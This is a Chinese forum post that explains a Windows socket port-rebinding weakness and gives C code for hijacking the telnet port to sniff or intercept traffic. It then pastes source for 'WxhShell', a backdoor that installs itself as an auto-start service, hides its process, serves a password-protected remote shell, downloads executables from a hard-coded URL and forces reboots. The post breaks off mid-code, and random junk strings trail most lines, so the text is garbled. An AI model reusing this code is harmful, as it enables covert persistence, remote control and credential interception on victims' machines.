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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6~Zq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IrP6Rxh  
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  saddr.sin_family = AF_INET; 40LA G  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w`Z@|A  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N;av  
_@]@&^K$E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :e4[isI  
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  这意味着什么?意味着可以进行如下的攻击: \xtmd[7lb<  
j98>Jr\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZnB|vfL?  
x6~`{N1N M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) / ='/R7~  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [~rBnzb  
j0K}nS\ P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '"Dgov$q  
dLu3C-.(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P-lE,X   
$66DyK?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "(y|iS$^T  
WXE{uGc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DvXbbhp  
Zh.9j7 >p  
  #include x42m+5/  
  #include DU[vLe|Z  
  #include @y\M8C8  
  #include    J3=^ +/g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .zyi'Kj  
  int main() y>m=A41:g  
  { 8:0.Pi(ln@  
  WORD wVersionRequested; 9L xa?Y1  
  DWORD ret; 9k!#5_ M  
  WSADATA wsaData; KbF,jm5  
  BOOL val; d\aU rsPn  
  SOCKADDR_IN saddr; !xh.S#B  
  SOCKADDR_IN scaddr; ur`:wR] 2?  
  int err; 2f@gR9T  
  SOCKET s; H`ZUI8-  
  SOCKET sc; fNaS?tV)  
  int caddsize; Q2/ZO2  
  HANDLE mt; E%C02sI  
  DWORD tid;   zpd Z.  
  wVersionRequested = MAKEWORD( 2, 2 ); I_@XHhyVZ  
  err = WSAStartup( wVersionRequested, &wsaData ); iY1JU -S  
  if ( err != 0 ) { wp8ocZ-Gj  
  printf("error!WSAStartup failed!\n"); Cy##+u,C  
  return -1; $nbZ+~49  
  } j"8|U E  
  saddr.sin_family = AF_INET; t.oP]_mI  
   q6v%HF-q4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w;Na9tR  
2s@<k1EdPl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZMXIKN9BF#  
  saddr.sin_port = htons(23); JB= L\E}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A#j'JA>_  
  { p1L8g[\  
  printf("error!socket failed!\n"); 'PrrP3lO_~  
  return -1; { wx!~K  
  } /A;!g5Y  
  val = TRUE; `!\`yI$!%w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BI-xo}KI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MRdZ'  
  { 'Nv*ePz  
  printf("error!setsockopt failed!\n"); Ey!+rq}  
  return -1; k:0HsN!F9  
  } *L.+w-g&&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <M|kOi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ca1A9fvo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @t6B\ ?4'T  
RE(R5n28,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O=Py XOf  
  { PNn{Rt  
  ret=GetLastError(); (r?41?5K  
  printf("error!bind failed!\n"); LHb(T` .=  
  return -1; ^H1B 62_  
  } QvH=<$  
  listen(s,2); Zg/ra1n  
  while(1) #;6YADk2_  
  { g2v 0!  
  caddsize = sizeof(scaddr); ?_9A`LC*  
  //接受连接请求 iIoeG_^*Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4c*?9r@  
  if(sc!=INVALID_SOCKET) EI*B(  
  { -*u7MFq_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /=}w%-;/;  
  if(mt==NULL) L}1|R*b  
  { >>voLDDd  
  printf("Thread Creat Failed!\n"); @exeHcW61  
  break; gZe(aGh  
  } *94<rlh{"  
  } #B3P3\  
  CloseHandle(mt); :!\?yj{{  
  } 4jl UyAD  
  closesocket(s); Vs)Pg\B?  
  WSACleanup(); #?Z>o16,u  
  return 0;  ((}T^  
  }   tN=B9bm3j  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wi Mi0?$.  
  { p#UrZKR  
  SOCKET ss = (SOCKET)lpParam; ?[}r& f  
  SOCKET sc; ~e5hfZv|w  
  unsigned char buf[4096]; e:E:"elr]  
  SOCKADDR_IN saddr; c-L1 Bkw  
  long num; B6&;nU>;  
  DWORD val; Pvq74?an`  
  DWORD ret; 5 #)5Z8`X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >M\3tB2C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |Fk>NX  
  saddr.sin_family = AF_INET; w]hs1vch  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RHdcRojF  
  saddr.sin_port = htons(23); )B86  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lr:rQw9  
  { 0Z{f!MOh  
  printf("error!socket failed!\n"); #MbkU])  
  return -1; RG9YA&1ce  
  } ykv,>nSXLL  
  val = 100; )DS|mM)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r wtU@xsD  
  { )A}u)PH4O  
  ret = GetLastError(); dC$z q~q  
  return -1; B 3Y,|*  
  } ?32gug\i'}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yF-EHNNf  
  { WleE$ ,  
  ret = GetLastError(); Wm{Lg0Nr  
  return -1; :nZVP_d+  
  } )_eEM1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @7Oqp-  
  { 7cTDbc!E-  
  printf("error!socket connect failed!\n"); FA}dKE=c Q  
  closesocket(sc); ;by` [)  
  closesocket(ss); V7Z+@e-5  
  return -1; N^\<y7x  
  } ,Q8[Ur? G  
  while(1) rz%8V igb  
  { xx`xDD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ztcV[{[g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n.&z^&$w\)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6ge,2[PU  
  num = recv(ss,buf,4096,0); /UP&TyZ  
  if(num>0) ;x/do?FbT  
  send(sc,buf,num,0); KTr7z^  
  else if(num==0) ?/Bp8q(  
  break; a:*8SovI  
  num = recv(sc,buf,4096,0); + niz(]  
  if(num>0) A}Q6DHh26  
  send(ss,buf,num,0); 1 !N+hf  
  else if(num==0) zq 1je2DB  
  break; "]1 !<M6\i  
  } =P}ob eY  
  closesocket(ss); $l05VZ  
  closesocket(sc); \$.8iTr@  
  return 0 ; V2As 5  
  } [Yr }:B <  
Wt|IKCx   
By& T59  
========================================================== a<c]N:1  
dux.Z9X?  
下边附上一个代码,,WXhSHELL cR'l\iv+  
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========================================================== r%`g` It  
1>I4=mj  
#include "stdafx.h" z'=8U@P'#  
lyY\P6 X  
#include <stdio.h> a_jw4"Sb  
#include <string.h> |\/`YRg>  
#include <windows.h> ~m:oJ+:O  
#include <winsock2.h> (}Q(Ux@X  
#include <winsvc.h> _ebo  
#include <urlmon.h> 0,b.;r  
e"7<&% Oq  
#pragma comment (lib, "Ws2_32.lib") T_\Nvzb}  
#pragma comment (lib, "urlmon.lib") ;gS)o#v0  
99<]~,t=5  
#define MAX_USER   100 // 最大客户端连接数 Gw!VPFV>W  
#define BUF_SOCK   200 // sock buffer sIUhk7Cd8  
#define KEY_BUFF   255 // 输入 buffer w ]8+ OP  
oT7 6)O  
#define REBOOT     0   // 重启 uX82q.u_y  
#define SHUTDOWN   1   // 关机 HQtR;[1  
52X[ {  
#define DEF_PORT   5000 // 监听端口 dY=]ES} `  
o#GZ|9IL  
#define REG_LEN     16   // 注册表键长度 k }amSsE  
#define SVC_LEN     80   // NT服务名长度 f4%Z~3P  
JXFPN|  
// 从dll定义API >A5*=@7bY?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /g/]Q^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |/^ KFY"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +2:\oy}!8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tx` Z?K[  
w)C/EHF  
// wxhshell配置信息 JRti2Mu  
struct WSCFG { R[#Np`z  
  int ws_port;         // 监听端口 z) :LF<  
  char ws_passstr[REG_LEN]; // 口令 b/[$bZD5o  
  int ws_autoins;       // 安装标记, 1=yes 0=no v2w|?26Lf  
  char ws_regname[REG_LEN]; // 注册表键名 O0Z !*Hy  
  char ws_svcname[REG_LEN]; // 服务名 ^/6LVB*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Msr+P9Ai  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6zbqv6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <M){rce  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6 zyxGJ(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]A? (OA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o,r72>|  
0tz7^:|D  
}; ^(+ X|t  
Nm{+!}cC  
// default Wxhshell configuration ()'yY^   
struct WSCFG wscfg={DEF_PORT, 7)RDu,fx  
    "xuhuanlingzhe", \wZ 4enm  
    1, D02'P{  
    "Wxhshell", YCPU84f  
    "Wxhshell", hwx1fpo4  
            "WxhShell Service", aB_~V h  
    "Wrsky Windows CmdShell Service", 2ezk<R5q+  
    "Please Input Your Password: ", nYsB^Nr6  
  1, ^;8dl.;  
  "http://www.wrsky.com/wxhshell.exe", et`1#_o  
  "Wxhshell.exe" v[Mh[CyB  
    }; i'cGB5-j  
]EN+^i1F[  
// 消息定义模块 "]SA4Ud^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rF^H\U:w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .8%&K0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &0b\E73  
char *msg_ws_ext="\n\rExit."; R|m!*B~  
char *msg_ws_end="\n\rQuit."; ;S_Imf0$v  
char *msg_ws_boot="\n\rReboot..."; 2y"L&3W  
char *msg_ws_poff="\n\rShutdown..."; ] /"!J6(e  
char *msg_ws_down="\n\rSave to "; *P01 yW0  
/wi*OZ7R  
char *msg_ws_err="\n\rErr!"; C1`fJh y  
char *msg_ws_ok="\n\rOK!"; *w#^`yeo  
t f3R  
char ExeFile[MAX_PATH]; }j)][{i*x  
int nUser = 0; zQxTPd  
HANDLE handles[MAX_USER]; R@df~  
int OsIsNt; uv|RpIve:  
sB@9L L]&|  
SERVICE_STATUS       serviceStatus; q _INGCJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~0@ uR  
C6JwJYa  
// 函数声明 -<6b[YA  
int Install(void); m@i](1*T|  
int Uninstall(void); FfRvi8  
int DownloadFile(char *sURL, SOCKET wsh); Od("tLIO}I  
int Boot(int flag); Dz3~cuVb  
void HideProc(void); @?n~v^  
int GetOsVer(void); r1&eA%eh  
int Wxhshell(SOCKET wsl); iBPIj;,  
void TalkWithClient(void *cs); *ZkOZ  
int CmdShell(SOCKET sock); $jg~ a  
int StartFromService(void); ]>/oo=E  
int StartWxhshell(LPSTR lpCmdLine); "8$Muwm  
Pk3b#$+E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^/ff)'.J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 79z/(T +  
t`- [  
// 数据结构和表定义 yHo#v:>?p  
SERVICE_TABLE_ENTRY DispatchTable[] = LVaJyI@/>  
{ v8"Zru  
{wscfg.ws_svcname, NTServiceMain}, m0i,Zw{eM  
{NULL, NULL} N0pA ,&  
}; :bq$ {  
{^.q6,l  
// 自我安装 r,<p#4(>_  
int Install(void) W5uC5C*,l  
{ +<T361eyY  
  char svExeFile[MAX_PATH]; <CcSChCg  
  HKEY key; s7(1|}jh  
  strcpy(svExeFile,ExeFile); v =_Ds<6n  
en"\2+{Cg  
// 如果是win9x系统,修改注册表设为自启动 cK-jN9U  
if(!OsIsNt) { `.g'bZ<v/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V 7oE\cxr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]pWn%aGv*Y  
  RegCloseKey(key); vX?C9Fr2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2"QcjFW%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *`40B6dEr  
  RegCloseKey(key); z%;_h-  
  return 0; lMmP]{.>$  
    } 7/HX!y{WP  
  } 2c'<rkA  
} *&z !y/  
else { 7*kTu0m  
7sU+:a  
// 如果是NT以上系统,安装为系统服务 N(kSE^skOa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?X+PNw|pf  
if (schSCManager!=0) C1uV7t*\  
{ {wl7&25  
  SC_HANDLE schService = CreateService -bgj<4R$p  
  ( cpm *m"Nk  
  schSCManager, y5j ;Daq  
  wscfg.ws_svcname, L@S1C=-/  
  wscfg.ws_svcdisp, R].xT-1  
  SERVICE_ALL_ACCESS, @d n& M9Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ><C9PS@  
  SERVICE_AUTO_START, ;> %wf3e  
  SERVICE_ERROR_NORMAL, IC6'>2'=T  
  svExeFile, \('WS[$2  
  NULL, SAU` u]E  
  NULL, ` Nv1sA#C  
  NULL, F;MACu;x  
  NULL, kZ0z]Y  
  NULL ,ZZ5A;)  
  ); h05BZrE  
  if (schService!=0) f.c2AY~5[  
  { B@ >t$jK  
  CloseServiceHandle(schService); A>f rf[fAW  
  CloseServiceHandle(schSCManager); *|^|| bd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U1D;O}z~  
  strcat(svExeFile,wscfg.ws_svcname); Z-L}"~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v=daafO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,=[r6k<  
  RegCloseKey(key); y:Agmr,S  
  return 0; JF'<""  
    } PB)vE  
  } /vPr^Wv  
  CloseServiceHandle(schSCManager); ^SbxClUfw!  
} [[O4_)?el  
} ;3iWV"&_A  
JH#p;7;  
return 1; ^}UFtL i  
} I0N~>SpZ5  
]l"9B'XR  
// 自我卸载 SB:z[kfz|  
int Uninstall(void) )K]<\Q[  
{ " eS-i@  
  HKEY key; Z?qc4Cg  
9 RC:-d;;_  
if(!OsIsNt) { {]iM5?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  zj$Ve  
  RegDeleteValue(key,wscfg.ws_regname); I/zI\PP,  
  RegCloseKey(key); ~lbm^S}-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R ^"*ut  
  RegDeleteValue(key,wscfg.ws_regname); sRQ4pnnrn  
  RegCloseKey(key); +.v+Opp,  
  return 0; F5H]$AjW  
  } Q6p75$SVq  
} [xXV5 JU  
} A~;.9{6J[t  
else { Xif>ZL?aXb  
#dFE}!"#`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L% T%6p_  
if (schSCManager!=0) [KMS/'; ]  
{ `j'gt&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); id)J;!^;J  
  if (schService!=0) H{uR+&<  
  { ,nWZJ&B  
  if(DeleteService(schService)!=0) { of'H]IZ  
  CloseServiceHandle(schService); u}7r\MnwK,  
  CloseServiceHandle(schSCManager); .PCbGPbk  
  return 0; Gw#z:gX2  
  } {5SJ0'.B2g  
  CloseServiceHandle(schService); 5*O]`Q7  
  } Yez  
  CloseServiceHandle(schSCManager); aW#^@||B  
} ]sqp^tQ`e  
} LAGg(:3f3  
-3SRGr  
return 1; C9j5Pd5q1L  
} d 1 O+qS  
:eBp`dmn  
// 从指定url下载文件 \wp8kSzC  
int DownloadFile(char *sURL, SOCKET wsh) }7i}dyQv}  
{ 7U - ?Rd  
  HRESULT hr; 3 =_to7]  
char seps[]= "/"; [bEm D  
char *token; lgC^32y  
char *file; n*hRlL  
char myURL[MAX_PATH]; f.RwV+lq  
char myFILE[MAX_PATH]; 85](,YYz  
ze uSk| O  
strcpy(myURL,sURL); LufZ,  
  token=strtok(myURL,seps); uvA2`%T/  
  while(token!=NULL) $KmE9Se6,  
  { nz`"f,  
    file=token; D[(T--LLT  
  token=strtok(NULL,seps); nN(Q}bF  
  } ;z o?o t/  
HqA3.<=F,  
GetCurrentDirectory(MAX_PATH,myFILE); tp b(.`G  
strcat(myFILE, "\\"); c#pVN](?  
strcat(myFILE, file); gWy2E;"a  
  send(wsh,myFILE,strlen(myFILE),0); [jF\"#A  
send(wsh,"...",3,0); $I a-go2W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^Y^5 @ x=  
  if(hr==S_OK) NmV][0(BS  
return 0; Of{'A  
else w&}UgtEm  
return 1; kN* \yH|  
mh~n#bah  
} cx4'rK.  
1F?ylZ|~  
// 系统电源模块 Ay\!ohIS3  
int Boot(int flag) Mp^U)S+  
{ nHB`<B  
  HANDLE hToken; yXA]E.K!  
  TOKEN_PRIVILEGES tkp; Xqas[:)7+  
LiD-su D  
  if(OsIsNt) { z|G 39  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m}nA- *  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XXZ$^W&  
    tkp.PrivilegeCount = 1; ~{s7(^ P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I[I]C9D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zyFbu=d|O:  
if(flag==REBOOT) { 7033#@_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s}":lXkrw  
  return 0; mQt?d?6  
} rVx?Yo1F'  
else { .g6(07TyV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ps{}SZn  
  return 0; N+NS\Y5  
} %i`YJ  
  } Dz&<6#L<  
  else { ctL,Mqr\Z  
if(flag==REBOOT) { Hy1f,D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ACxjY2  
  return 0; \6v*c;ZF  
} E- rXYNfy  
else { ~ TALpd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "G!V?~;  
  return 0; :#p!&Fi  
} tL@m5M%:N2  
} L}%4YB  
Ci^tP~)&"  
return 1; $kk!NAW  
} W>]=0u4  
Z=P=oldH  
// win9x进程隐藏模块 lr@H4EJ{  
void HideProc(void) [+v}V ,jb  
{ Oo 95\Yf$N  
Nh|QYxOP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s&*s9F  
  if ( hKernel != NULL ) xo*[ g`N  
  { Fu !sw]6xx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CI6qDh6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cX/ ["AM  
    FreeLibrary(hKernel); Qws#v}xF  
  } k`Ifd:V.y  
G!IJ#|D:~  
return; : S |)  
} R?[KK<sWWe  
c{t(),nAA  
// 获取操作系统版本 (T0%H<#+  
int GetOsVer(void) K|LS VN?K  
{ .%EEly  
  OSVERSIONINFO winfo; e#$ZOK)`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L1E\^)  
  GetVersionEx(&winfo); s"\o6r ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S}cm.,/w  
  return 1; APR%ZpG  
  else 6?c(ueiL[  
  return 0; I~>L4~g)  
} h47l;`kD-#  
x?|   
// 客户端句柄模块 p#dpDjh  
int Wxhshell(SOCKET wsl)  ,M&[c|  
{ tJ9i{TS  
  SOCKET wsh; W:16qbK  
  struct sockaddr_in client; j/xL+Y(=  
  DWORD myID;  !(<Yc5  
<C_FI` wk  
  while(nUser<MAX_USER) #wZ:E,R  
{ K) "cwk-  
  int nSize=sizeof(client); hol54)7$3:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ng3MfbFG  
  if(wsh==INVALID_SOCKET) return 1; UN}jpu<h  
xdH*[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]OOL4=b  
if(handles[nUser]==0) glppb$oB\  
  closesocket(wsh); G&Sp }  
else RT)*H>|  
  nUser++; ' cl&S:  
  } j@b4)t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *:}NS8hP  
ZrFC#wJb  
  return 0; 8?r ,ylUj  
} \ oIVE+L/P  
81|Xg5g)b  
// 关闭 socket ]S~Z8T-[  
void CloseIt(SOCKET wsh) Dyj5a($9"{  
{ $h-5PwHp  
closesocket(wsh); bG0t7~!{E  
nUser--; #`mo5  
ExitThread(0); pc w^W  
} mu/O\'5  
ArUGa(; f  
// 客户端请求句柄 WoiK _Ud  
void TalkWithClient(void *cs) y3K9rf  
{ MD ,}-m  
[a*m9F\ ,  
  SOCKET wsh=(SOCKET)cs; M"]~}*  
  char pwd[SVC_LEN];  mq?5|`  
  char cmd[KEY_BUFF]; RYaf{i`  
char chr[1]; <Dw`Ur^X5  
int i,j; !RnO{FL  
\gL H_$}  
  while (nUser < MAX_USER) { 3~4e\xL  
451r!U1Z  
if(wscfg.ws_passstr) { 4l$(#NB<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HhaUC?JtSK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i(JBBE"  
  //ZeroMemory(pwd,KEY_BUFF); 5xi f0h-`  
      i=0; _e=R[  
  while(i<SVC_LEN) { tw]RH(g+#  
cRX0i;zag  
  // 设置超时 d"|XN{  
  fd_set FdRead; oO|zRK1;/  
  struct timeval TimeOut; gaC^<\J  
  FD_ZERO(&FdRead); u><gmp&  
  FD_SET(wsh,&FdRead); ,iU ]zN//  
  TimeOut.tv_sec=8; HZdmL-1Z^+  
  TimeOut.tv_usec=0; m[C-/f^u|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); */n)_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +!V*{<K  
/)xG%J7H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [BHf>  
  pwd=chr[0]; Mrp'wF D  
  if(chr[0]==0xd || chr[0]==0xa) { 8Z!+1b  
  pwd=0; k|,pj^  
  break; 2@o_7w98  
  } PqIGc  
  i++; H>[1D H#b  
    } QtQku1{  
+n]U3b  
  // 如果是非法用户,关闭 socket 8| zR8L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;5A&[]@^^@  
} a2*WZc`  
{hX. R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dx@#6Fhy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %lchz /  
W 0Q-&4  
while(1) { X|H%jdta  
su(y*187A  
  ZeroMemory(cmd,KEY_BUFF); |8h<Ls_  
5f7;pS<  
      // 自动支持客户端 telnet标准   jpqq>Hbg_  
  j=0; I;L $Nf{v  
  while(j<KEY_BUFF) { bh?Vufd%)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EW$ Je  
  cmd[j]=chr[0]; =8j;!7 p  
  if(chr[0]==0xa || chr[0]==0xd) { pc5-'; n  
  cmd[j]=0; SHPaSq'&N  
  break; Rs:<'A  
  } G.O0*E2V  
  j++; 0,(U_+ n  
    } -@G |i$!  
rB}UFS)  
  // 下载文件 [syuoJ  
  if(strstr(cmd,"http://")) { 0b=OK0n!%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Qe:d_  
  if(DownloadFile(cmd,wsh)) >/EmC3?b!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _h7+.U=  
  else *"0Yr`)S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,qpn4`zE~  
  } ,-t3gc1~X  
  else { J /'woc  
q,2]]K7y  
    switch(cmd[0]) { <FMW%4   
  B}gi /  
  // 帮助 nbw&+dcJ8  
  case '?': { i)\`"&.j>N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tOwwgf  
    break; O%A:2Y79  
  } Nc[>CgX"@  
  // 安装 ~o%|#-S  
  case 'i': { oDx*}[/  
    if(Install()) +GgWd=X.Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ji`N1e,l  
    else g||{Qmr=1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }.4`zK&SB  
    break; e6k}-<W*q  
    } _$0<]O$  
  // 卸载 jwTb09  
  case 'r': { D*`|MzlQ  
    if(Uninstall()) ;or(:Yoc-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Te n2(D  
    else Wk'KN o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /+P 4cHv]F  
    break; Uq~{=hMX  
    } |h*H;@$  
  // 显示 wxhshell 所在路径 (}"r 5  
  case 'p': { vAq`*]W+  
    char svExeFile[MAX_PATH]; Us M|OH5k  
    strcpy(svExeFile,"\n\r"); D<#+ R"  
      strcat(svExeFile,ExeFile); `.Y["f 1B  
        send(wsh,svExeFile,strlen(svExeFile),0); Mvrc[s+o  
    break; 7<AHQ<#@  
    } [L|H1ll  
  // 重启 AGn:I??  
  case 'b': { LCRreIIgZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @W=#gRqQPy  
    if(Boot(REBOOT)) > z h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]o_Z3xXUa  
    else { ;) 5d wq  
    closesocket(wsh); hv}rA,Yd  
    ExitThread(0); #wNksh/J^  
    } EkEM|<GNd  
    break; AASw^A3p  
    } z* YkD"]B  
  // 关机 %z J)mOu  
  case 'd': { AR]y p{NS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); II)\rVP5  
